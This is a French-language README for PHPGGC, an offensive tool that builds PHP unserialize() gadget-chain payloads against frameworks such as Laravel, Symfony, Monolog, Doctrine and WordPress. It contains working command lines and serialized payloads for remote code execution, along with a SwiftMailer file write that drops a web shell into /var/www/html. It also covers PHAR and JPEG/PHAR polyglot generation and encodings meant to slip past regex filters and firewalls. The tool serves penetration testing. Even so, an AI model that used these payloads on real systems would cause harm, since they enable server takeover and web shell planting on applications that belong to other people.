
PHPGGC est une bibliothèque de payloads PHP unserialize() accompagnée d'un outil pour les générer, depuis la ligne de commande ou par programmation.
PHPGGC est une bibliothèque de payloads unserialize() accompagnée d'un outil pour les générer, depuis la ligne de commande ou par programmation. Lorsque vous rencontrez un unserialize sur un site dont vous n'avez pas le code, ou simplement lorsque vous essayez de construire un exploit, cet outil vous permet de générer le payload sans avoir à passer par les étapes fastidieuses de recherche et de combinaison de gadgets. On peut le considérer comme l'équivalent de frohoff's ysoserial, mais pour PHP. Actuellement, l'outil prend en charge les chaînes de gadgets telles que : CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii et ZendFramework.
PHP >= 5.6 est requis pour exécuter PHPGGC.
Exécutez ./phpggc -l pour obtenir la liste des chaînes de gadgets :
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Filtrer les chaînes de gadgets :
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Chaque chaîne de gadgets possède :
__destruct(), __toString(), offsetGet(), ...)Utilisez -i pour obtenir des informations détaillées sur une chaîne :
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Pour les gadgets RCE, la commande exécutée peut avoir 3 types de formatage selon le fonctionnement du gadget :
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idUne fois que vous avez sélectionné une chaîne, exécutez ./phpggc <gadget-chain> [parameters] pour obtenir le payload.
Par exemple, pour obtenir un payload pour Monolog, vous feriez :
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Pour une écriture de fichier avec SwiftMailer, vous feriez :
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
L'option --wrapper (-w) vous permet de définir un fichier PHP contenant les fonctions suivantes :
process_parameters(array $parameters): Appelée juste avant generate(), permet de modifier les paramètresprocess_object(object $object): Appelée juste avant serialize(), permet de modifier l'objetprocess_serialized(string $serialized): Appelée juste après serialize(), permet de modifier la chaîne sérialiséePar exemple, si le code vulnérable ressemble à ceci :
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Vous pourriez utiliser une chaîne __toString(), en l'enveloppant comme ceci :
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
Et vous appelleriez phpggc comme ceci :
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
Lors du BlackHat US 2018, @s_n_t a publié PHARGGC, un fork de PHPGGC qui, au lieu de construire un payload sérialisé, construit un fichier PHAR complet. Ce fichier PHAR contient des données sérialisées et peut donc être utilisé pour diverses techniques d'exploitation (file_exists, fopen, etc.). Le document est disponible ici.
Les archives PHAR existent en trois formats différents : PHAR, TAR et ZIP. Les trois sont pris en charge par PHPGGC.
Des fichiers polyglottes peuvent être générés à l'aide de --phar-jpeg (-pj). D'autres options sont disponibles (utilisez -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
Les arguments permettent de modifier la façon dont le payload est produit. Par exemple, -u l'encodera en URL, et -b le convertira en base64.
Les payloads contiennent souvent des octets NULL et ne peuvent pas être copiés/collés tels quels. Utilisez -s pour un encodage URL doux, qui garde le payload lisible.
Les encodeurs peuvent être chaînés, et donc l'ordre est important. Par exemple, ./phpggc -b -u -u slim/rce1 system id mettra le payload en base64, puis l'encodera en URL deux fois.
PHPGGC implémente une option --fast-destruct (-f), qui garantit que votre objet sérialisé sera détruit juste après l'appel à unserialize(), et non à la fin du script. Je recommande de l'utiliser pour chaque vecteur __destruct, car cela améliore la fiabilité. Par exemple, si le script PHP lève une exception après l'appel, la méthode __destruct de votre objet pourrait ne pas être appelée. Comme il est traité en même temps que les encodeurs, il doit être défini en premier.
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
Utilise le format de sérialisation S au lieu du s standard. Cela remplace chaque caractère non-ASCII par une représentation hexadécimale :
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
Cela peut être utile lorsque, pour une raison quelconque, les caractères non-ASCII ne sont pas autorisés (octet NULL par exemple). Comme les payloads en contiennent généralement, cela garantit que le payload ne contient que des valeurs ASCII.
Note : ceci est expérimental et pourrait ne pas fonctionner dans certains cas.
Utilise le format de sérialisation S au lieu du s standard. Cela remplace chaque caractère par une représentation hexadécimale :
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D";
C'est pratique lorsqu'un pare-feu ou du code PHP bloque les chaînes.
Note : ceci est expérimental et pourrait ne pas fonctionner dans certains cas.
Note : cela fait augmenter chaque chaîne du payload d'un facteur 3.
Parfois, les scripts PHP vérifient que le payload sérialisé fourni ne contient pas d'objets en utilisant une regex telle que /O:[0-9]+:. Cela est facilement contourné en utilisant O:+123:... au lieu de O:123:. On peut utiliser --plus-numbers <types>, ou -n <types>, pour ajouter automatiquement ces signes + devant les symboles.
Par exemple, pour obscurcir les objets et les chaînes, on peut utiliser : --n Os. Veuillez noter que depuis PHP 7.2, seuls les types i et d (flottant) peuvent avoir un +.
Tente de convertir les références aux propriétés protégées ou privées du payload sérialisé en propriétés publiques. Cela peut être utile car lorsque PHP sérialise une propriété non publique d'un objet, il préfixe le nom de la propriété avec un astérisque (pour les propriétés protégées) ou le nom de la classe (pour les propriétés privées) entouré d'octets NULL, lesquels sont faciles à perdre si le payload est transmis ou stocké en texte brut sans encodage. Si cela se produit, le payload ne pourra pas être désérialisé car la longueur de chaîne du nom de la propriété (et le nom lui-même) sera incorrecte. En bonus, les payloads sont légèrement plus petits sans les préfixes. Convertir les propriétés en public a tendance à fonctionner dans les versions plus récentes de PHP, mais peut causer des problèmes dans les versions plus anciennes (avant PHP 7.2). Cette fonctionnalité peut ne pas fonctionner correctement si une chaîne inclut un ou plusieurs objets ayant une implémentation personnalisée de serialize / unserialize.
Pour tester si la chaîne de gadgets que vous souhaitez utiliser fonctionne dans l'environnement ciblé, placez-vous dans le dossier de votre environnement et exécutez la chaîne sans argument, avec l'option --test-payload.
Par exemple, pour tester si Monolog/RCE2 fonctionne sur Symfony 4.x :
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
Le code de sortie sera 0 si le payload se déclenche, 1 sinon.
Si vous souhaitez savoir contre quelles versions d'un paquet une chaîne de gadgets fonctionne, vous pouvez utiliser test-gc-compatibility.py.
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
Vous pouvez spécifier les versions que vous souhaitez tester en utilisant la syntaxe suivante.
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
Au lieu d'utiliser PHPGGC comme outil en ligne de commande, vous pouvez programmer des scripts PHP :
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();
# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload
$object = $gc->generate($parameters);
# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);
# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# Display it
print($serialized . "\n");
# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
Cela vous permet d'ajuster les paramètres ou d'écrire des exploits plus facilement. Note : c'est assez expérimental pour le moment, veuillez donc signaler les bugs.
Les pull requests sont plus que bienvenues. Veuillez suivre ces directives simples :
__destruct() est toujours le meilleur vecteur{ sont sur une nouvelle ligne, et les tableaux doivent être écrits comme [1, 2, 3] au lieu de l'ancienne notation array(1, 2, 3).Au niveau du code, la structure des répertoires est assez simple : les gadgets dans gadgets.php, la description + la logique dans chain.php. Vous pouvez définir des méthodes de pré- et post-traitement, si des paramètres doivent être modifiés. Espérons que les gadgets déjà implémentés suffiront pour que vous construisiez les vôtres. Sinon, je serai ravi de répondre à vos questions.
Veuillez tester autant de versions que possible. La nomenclature des versions est la suivante : [-]<lower-version> <= <higher-version>[+]. Les signes - et + indiquent que votre payload peut fonctionner respectivement sur des versions inférieures et supérieures. Par exemple, si votre chaîne de gadgets fonctionne de la version 2.0.0 à la version 4.4.1, qui est la dernière version à l'heure actuelle, utilisez 2.0.0 <= 4.4.1+.
L'option de ligne de commande --new <framework> <type> peut être utilisée pour créer la structure de répertoires et de fichiers d'une nouvelle chaîne de gadgets.
Par exemple, ./phpggc -n Drupal RCE créerait une nouvelle chaîne de gadgets Drupal RCE.
Si vous ne souhaitez pas installer PHP, vous pouvez construire une image Docker en utilisant :
$ docker build . -t 'phpggc'
Vous pouvez ensuite utiliser le phpggc dockerisé.
$ docker run phpggc Monolog/rce1 'system' 'id'
Placez-vous dans le dossier de votre environnement et exécutez la chaîne sans argument, avec l'option --test-payload :
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
Note : La commande doit être exécutée dans le répertoire où se trouve l'image d'entrée.
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
test-gc-compatibility.py$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘